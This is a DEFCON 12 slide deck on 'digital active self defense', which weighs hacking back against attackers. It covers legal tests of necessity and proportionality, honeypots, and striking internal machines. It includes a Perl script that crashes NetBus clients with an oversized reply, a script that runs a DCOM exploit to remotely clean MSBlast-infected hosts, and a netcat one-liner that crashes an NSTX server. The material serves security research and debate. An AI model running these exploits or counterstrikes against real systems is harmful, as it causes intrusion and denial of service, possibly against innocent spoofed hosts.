Digital Active
Self Defense

DEFCON 12

OUDOT Laurent
oudot@rstack.org
http://www.rstack.org/oudot/
Some references

- Active Defense research project, Dittrich
  - http://staff.washington.edu/dittrich/ad/

- *Defending your right to defend: Considerations of an automated strike-back technology*
  - Timothy M. Mullen

- *Launch on Warning: Aggressive Defense of Computer Systems*
  - Curtis E.A. Karnow

- *Enforcer, Automated Worm Mitigation for private networks*
  - BlackHat Seattle, February 2003, Timothy M. Mullen, AnchorIS.com

- *Vigilantes on the net*
  - Barbara Moran, NewScientist, 12 June 2004

- *Symbiot, Adaptive Platform for Network Security*
  - http://www.symbiot.com
Summary

• Introduction
  – Digital threats,
  – Hardening / reaction
  – Prevention / Countermeasure
  – Active Defense…?

• Legal Issues

• Technical considerations
  – Fighting back
  – Requirements
  – Honeypots
  – Handling Internal threats
  – Examples
  – Technical limitations

• Conclusions
Introduction

• Current threats
  – Known limitations for defense technologies
    • Many solutions in the information security field
  – Laws fail for certain kind of activities

• Natural temptation
  – Fighting back attackers, counterstrike…

• Not so many solutions that use active countermeasure capabilities
  – Interesting field of research and development ?
The digital threats

• Though we use more and more security technologies, there are still security problems
  – Confidentiality, Integrity, Availability, Copyright, etc
  – Information Assurance

• External threats
  – Firewall, Proxies, Hardened services…
    • Ethical Hackers, Corporate spies, Cyber terrorists...

• Internal threats : easier/faster access
  – Authentication, In-depth Protection...
    • Trainees, Outsourcing, Employees…
From hardening to reaction

- A lot of technologies might be used to block evil traffic
  - Routers, Firewalls, proxies, etc
  - Allow the minimum that is needed
- But aggressors still find solutions like:
  - Bouncing in (bad security rules, bugs, etc)
  - Getting an access inside the minimum accepted (target services, target end-users with stupid clients, etc)
- Countermeasure technologies
  - While getting a sign of an attack (IDS…), security resources will respond by trying to stop the attack
  - Could it be an interesting answer to handle some threats?
Countermeasure problems

- Countermeasure: Detection ➔ Reaction
- The delay between a detection and the associated response is not zero second
  - Some packets may reach the victims
  - IDS see signs of attacks while victims receive the attacks, so that responses (RST, ICMP, firewall ruleset modified...) may arrive too late to stop the attack (which has ever begun)
  - Examples of problems:
    - SQL-Worm: 1 UDP small packet!
    - Multiple sources of attackers...
• « Intrusion Detection Systems + Firewall » ?
  – Why couldn't we prevent the attack when we detect the attack, in order to avoid problems ?
  – Easy to say ➔ new concept ?!
    • “happy super market concept” ? OR “real technical concept” ?

• Intrusion Prevention Systems
  – NIPS : Network IPS
    • Inline IDS
    • Bait and switch honeypots…
  – HIPS ?
    • Sanboxes (grsecurity, systrace…)…
Prevention + Deception

• Diverting evil traffic
  – “Building an Early Warning System in a Service Provider Network”, BH Europe 2004, Nicolas Fischbach

• Bait and switch, « aggressive honeypot »
  – Easy GPL modification on snort : snort plugin output
  – Netfilter and routing under Linux2.4
  – When evil packets are caught by snort from a given IP source, this one is redirected to a fake network : prevention and deception
    • An attacker launch an attack to the production network
    • He is caught by the modified snort
    • All his future actions will be transparently redirected to a deception network (dedicated to blackhat people)
Bait & Switch example

Taken from http://www.violating.us/projects/baitnswitch
Diversion & Drawbacks

- Excellent cool concept mixing firewalls, IDS and honeypots in a kind of prevention architecture
- Some limitations:
  - Yet another single point of failure (DOS)
  - Rulesets and evasions against the IDS (snort)
  - Denial of service with IP Spoofing of attacks claiming to come from friendly hosts (white list to maintain)
  - Fingerprinting a B&S network
    - TCP problems after the switching
    - TCP Timestamp changes...
    - Multiple IP Source for the attacks: deception detected
Attacks against IPS

• Denial of service
  – « IDS are too slow & easy to attack with states tables attacks, packet bombing... »
  – More problems with IPS : detection AND prevention to do !

• Abusing the rulesets
  – « easy to bypass ids with evasion, and 0-days exploits can’t be caught »
  – More problems with IPS : 0-prevention !

• Generating a denial of service
  – Spoofing an attack coming from (a) friendly host(s)
  – Solution: white list, but what if a friend is used to bounce to you ?

• What about distributed attacks ?
  – Multiple sources of coordinated attackers

• …
Active Defense…?

• Usual methods would not always work?
  – Block incoming traffic
    • Might be problem for online services
  – Apply rate limitation
    • Bandwidth adjusted
  – Divert the traffic
    • Bait and switch technologies (honeypots)
  – Fake responses (decoy)

• Should we use more aggressive methods?
  – Self Defense
  – Counterstrike
    • Disable, destroy, control the attacker
Warning

• Limitations
  – Not a legal expert
  – Legal issues might be different depending of the countries...
Legal Issues

• Toward a concept of *digital* active self defense?
• Self defense occurs when someone is threatened with imminent bodily harm
  – Might be applied to avoid injury to property (computers…)

• Requirements
  – Necessity: No choice but using force
    • No adequate alternatives
  – Proportionality: This force is reasonable
    • Proportional response to the harm avoided
  – The threat is unlawful
Proportional response

• What could mean *proportional*?
  – Risk of subjectivity / interpretation

• Need to create a classification of attacks to choose the appropriate response
  – Families of attacks and hierarchy
    • DDOS > DOS?
    • Remote shell > Scan?
    • ...

• Once it is done, you might be able to take a decision
No adequate alternatives

• Proving that you had no other choice?
• Experts could argue that many other possibilities might be used:
  – First consideration: disconnect the victim(s) to avoid the attack?
    • Self Defense doctrine does not always require the victim to back away
    • Such a disconnection would result in a kind of DOS on the victim
      – What about an e-business web server?
  – Other possibilities: perimeter defenses?
No adequate alternatives

• How can we explain that the counterstrike tools were able to fight back the attacker and that they could not block the attack?
  – So many solutions of security to avoid an attack

• Conclusion: might be difficult to prove that you had no other possibility
Legal Issues and IW

• What about Information Warfare?
  – Not officially recognized by The Hague and Geneva Conventions
  – No real example of act of war on the cyber battlefield
    • Individuals, groups, governments…
  – No real legal considerations
Technical considerations

• Striking back?
  – Identify the tools/methods/sources
    • IDS, logs, network captures…
    • Avoid spoofing…
  – Take a decision
    • White list / Black list: destination of counterstrike allowed
      – e.g. hacking back internal users
  – Strike back!
Self Defense

Aggressor

Usual clients
Scanners
Exploits
Trojan clients
...

Action

Victim

Reaction
Risk with spoofing

- Risk of hacking back: attacking innocents
  - May be difficult to find the real source of an aggression
- Example: aggressions with spoofing, reflectors...
  - Idle scan: Aggressor is invisible on the target!

```
[1] (spoofing zombie)
[2] Syn|Ack or Rst
   If (Syn|Ack) then Rst
[3] Syn|Ack
   (IPID probe)
[4] Rst
```

Hacking Back?
Fighting back usual clients

- Imagine what would happen if the aggressors used vulnerable or mis-configured clients?
  - Web clients (IE…),
  - SSH clients (Putty, OpenSSH…),
  - Mail clients (Outlook…),
  - DNS resolvers,
  - IRC clients…

- Then a remote control/crash would be possible
  - Very interesting for Self Defense!
Fighting back usual clients ??

• This is a not a so easy task
  – Is it just theory ?
• Fighting back a listening client (mail client, etc) might be easier because you can try an attack multiple times (multiple mails...)
• Fighting back an incoming client may be a one shot operation (web client, etc) during a specific phase
• You will need specific information to launch such an attack (+ luck ?) :
  – Operating System/Hardware (p0f...)
  – Version (“Banner”)...
Exploiting Exploits?

• Imagine what would occur if there were vulnerabilities in the code of an exploit?
  – Buffer overflow, string format, etc

• Have you ever audit the source code of exploits?
  – Not just talking about the payload
  – Script kiddies don’t understand such sources
    • “When i launched dcom-xpl.c it did not work !?”

• Automatic tools used to launch remote attacks or audits are written properly
  – NASL for Nessus, Python for Core Impact...
Playing with scanners

- Many kind of scanners are used in the wild
  - Network layers
  - Banners
  - Security tests
- Some are poorly designed from a security point of view and might lead to insecurity
  - Buffer overflows, Format strings
  - Reports badly generated (HTML including banners grabbed on the targets without checking data)
Clients of Trojan Horses

• How many times did you get an incoming probe for Trojan port toward your internal network?

• Imagine if there were vulnerabilities in the code of a Trojan horse client?
  – Then a counterattack would be possible!

• Moreover, it has been seen in the wild that some young blackhats use the same kind of backdoor on a chain of bounce
  – If you steal the password/method/tool on one host, you could probably try to climb the chain back to the real author of the cyber crime
Retaliation : NetBus client

Bind this script on port TCP12345 (netcat, inetd, socat…)

Netbus Assassin Script nb.pl (crashes remote NB clients)

```perl
#!/usr/bin/perl
$banner = "NetBus 1.6\r"
syswrite STDOUT, $banner;
my $byte;
while (sysread(STDIN, $byte, 100) >= 0) {
    if($byte =~ m/^GetInfo\r$/) {
        $ans = "Info;Program Path: C:\Documents and Settings\Administrator\Patch.exe" . "A" x 100000. "|Restart persistent: Yes|Login ID: Administrator|Clients connected to this host: 1\r"
        syswrite STDOUT, $ans;
    }
}
```
Honeyd versus NetBus client

1) Netbus client connected...

2) Clicked “Get Info” (CPU!)

3) State
   Undefined
   (Coma)
Worms

Self Defense

Technology

Worm $i$-1

1) Infection attempt

2) Reaction

Worm $i$

1) Infection attempt

2) Reaction

Worm $i$+1

1) Infection attempt

2) Reaction
Handling worms problems

• Theory: a worm W comes from host A to host H.
  => A is infected by W (?)
  => A is (was) vulnerable to the attack used by W
  => A may still be vulnerable
  => H attacks A through this vulnerability
  => H takes the control of A,
  => H cleans A, patches A, hardens A, etc

• Proof of concept with Honeyd versus MSBlast
  – SecurityFocus - Infocus, October 2003: "Fighting Internet Worms With Honeypots"
    • http://www.securityfocus.com/infocus/1740
  – Black Hat Asia, December 2003
Honeyd versus MSBlast

Example: script to launch an automatic remote cleaning of infected hosts (!)

```bash
#!/bin/sh
# launch the exploit against the internal infected attacker
# then execute commands to purify the ugly victim

/usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF

taskkill /f /im msblast.exe /t
del /f %SystemRoot%\System32\msblast.exe
echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
  >> c:\cleaner_msblast.reg
echo "windows auto update" = "REM msblast" >> c:\cleaner_msblast.reg
regedit /s c:\cleaner_msblast.reg
del /f c:\cleaner_msblast.reg
shutdown -r -f -t 0
exit

EOF
```
Wireless?

  - http://www.securityfocus.com/infocus/1761
- Evil honeypots in the wireless world
  - Unofficial Access Point with fake resources
    - May be used to steal passwords (Defcon !!!!)
  - Rogue Access Point
    - Propose (unprotected) wireless access and attack the clients
    - May occur on innocent clients (XP that auto-connect...)
  - Hacking the hackers
    - Wardrivers try to find open AP to access the net (free, anon)
    - Some techniques like tunneling are sometimes used...
Wireless Tunnels

- NSTX [http://debmail.dereference.de/nstx] is used to create IP traffic over DNS (very useful for blackhats on Wifi networks with DNS open for everybody).

- Advisory Number: RSTACK-20040325
  - http://www.securityfocus.com/archive/1/358765
  - You can remotely crash the NSTX server:
    \[\texttt{perl -e '{ print "A" x 500 }' | nc -u $ipdst 53}\]

- Fingerprinting NSTX: the nstx version 1.0 will always use a tunnel with a UDP source port of 54...
Others ideas

• B00mrang effect: proxy aggression back to aggressor
  – add template tcp port 80 proxy $ipsrc:80

• Audit the auditor
  – Try to get same kind of information on the aggressor (scan...)

• DOS/DDOS toward the client or its infrastructure

• ...
Real examples...

- Code Red II / Anti code red II « default.ida » script
  - Strike back that abuses the remote CRII
- Attack occurs over a TCP session: might be the real source
- Problem with attacks over simple UDP flows
  - e.g. MS SQL Server, UDP 1434, Litchfield related exploits
- Symbiot.com technologies
- ...
Requirements

• Graduated response: level of reactions to strike back with a proportional response
  – A too aggressive posture could be dangerous

• Determination of hostile hosts (level of threats)
  – Behaviour, intrusion detection analysis, etc
  – Risk: false positive (huh! sorry)

• Profiling the attack
  – Probes, scanners, exploits, clients, malware, worms, Dos, etc
  – Choose the appropriate strike back possibility
  – Real life example: DEFense CONdition
    • DEFCON 5 Normal peacetime readiness
    • DEFCON 4 Normal, increased intelligence and strengthened security measures
    • DEFCON 3 Increase in force readiness above normal readiness
    • DEFCON 2 Further Increase in force readiness, less than maximum readiness
    • DEFCON 1 Maximum force readiness.
Specific opportunities

• Though lawyers could argue that Self Defense is a very dangerous response to a digital threat, one can think about:
  – Honeypots
  – Internal Threats
Honeypots

- « A honeypot is a security resource whose values lies in being probed, attacked or compromised »
  - This is a non production system
    - Used to delude attackers
  - Incoming traffic is suspicious (should avoid false positive)
  - That implies that the decision of launching a counterstrike is probably easier

- Honeypots are really interesting technologies for aggressive defense purpose
  - Incoming traffic might be suspicious and should be considered as an aggression
  - Being “evil” with an aggressor might look like self defense
Wanna play with Honeypots?

- «Shall we play a game?»
  - Self Defense and honeypots:
    - Cansecwest 2004, Vancouver, «Towards evil honeypots, when they bite back», L.OUDOT
    - HOPE 2004, New York, «Retaliation with honeypots»
  - Honeypots:
    - Honeynet Project: [www.honeynet.org](http://www.honeynet.org) (Honeywall CD)
Internal Computers

• Official remote administrator access might be possible on internal computers/devices
  – On a final destination (potential attacker)
  – Near potential attackers
    • Network devices at one or two hops...

• Self Defense might be used inside your own network in order to protect it
  – Might be an easy and clean method (no exploits, etc)
    • Stop processes, add firewall rules, reboot/halt, modify files, patch...
    • Might be very useful to avoid fast propagation of worms...
Handling internal threats

- Local Area Network
- Striking back your own computers
  - Those computers are under your legal control
  - If you have the right to « pentest » them, why couldn't you strike back in their direction?
- Very useful to find evil end users
  - Corporate hackers, zealot end-users...
- Potential risk: spoofing is easier on a LAN
  - Layer 2 attacks, etc
Technical limitations

• Counterstrike technologies might not exist for some kind of threats
  – Need remote exploits for each worms, evil tools, etc [!]
• False positive
• Spoofing
• Collateral damage
Conclusions

• Cool Geeks :
  – Really interesting (TECH), Feeling of doing something right
  – New possibilities to explore in order to protect an infrastructure
• (not so cool) Managers :
  – Legal issues
  – Counterstrike might be used to target internal computers/devices
  – Add In-Depth Security capabilities (kind of advanced IPS)
• Blackhats :
  – Yet another way to attack (attackers ?!)
    • e.g. Evil Honeypots
• Cool BUT : Automatic aggressive defense is still a dangerous activity !
• Questions?

• Greetz: MISC Mag, Dragos Ruiu, Dave Dittrich, Jennifer Granick, Barbara Moran, Nicolas Fischbach, Philippe Biondi, Frederic Raynal, Folks from Rstack.org